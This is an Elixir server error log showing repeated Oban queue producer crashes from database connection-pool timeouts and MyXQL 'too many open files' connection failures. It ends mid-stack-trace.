[Sat Sep  5 23:29:49.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:29:37.240296Z], limit: 50, uuid: "6ccbd3ee-891b-4224-88c8-5c4d6cf66024", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:37.240303Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.118157>, refresh_timer: #Reference<0.2525715032.1077411843.250930>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:49.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:29:37.239990Z], limit: 10, uuid: "7ea0d54b-a082-456b-9ead-58579fc1e9e4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:37.239996Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.118155>, refresh_timer: #Reference<0.2525715032.1099431938.18971>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:49.607000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:54.256000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:55.338000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:56.104000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:58.342000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:00.349000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:29:49.241115Z], limit: 5, uuid: "cdcc8cc1-4485-4be6-b3c1-68722ce3b78e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:49.241120Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.9846>, refresh_timer: #Reference<0.2525715032.1099431938.19096>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:01.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:29:49.237449Z], limit: 3, uuid: "3803349b-6320-4533-8d15-b89ed919a0b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:49.237455Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.9843>, refresh_timer: #Reference<0.2525715032.1068498948.9831>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:01.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:29:49.241096Z], limit: 50, uuid: "7b38ce96-1342-41da-85fe-d483731be532", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:49.241103Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.251004>, refresh_timer: #Reference<0.2525715032.1077411843.251001>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:01.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:29:49.244212Z], limit: 10, uuid: "a04ca23e-bf98-43b4-a10d-053a7450ce7d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:49.244218Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.9844>, refresh_timer: #Reference<0.2525715032.1099431938.19128>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:01.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:29:49.239166Z], limit: 20, uuid: "8dc88b61-1012-4e0a-b39c-b77f927a80fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:49.239172Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.19138>, refresh_timer: #Reference<0.2525715032.1099431938.19075>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:01.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:29:49.240949Z], limit: 5, uuid: "65cad641-a2bd-4e9d-a84f-b13237ed01f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:29:49.240954Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.9845>, refresh_timer: #Reference<0.2525715032.1099431938.19087>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:02.218000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:02.899000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:04.691000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:04.982000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:08.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:10.194000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:12.899000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
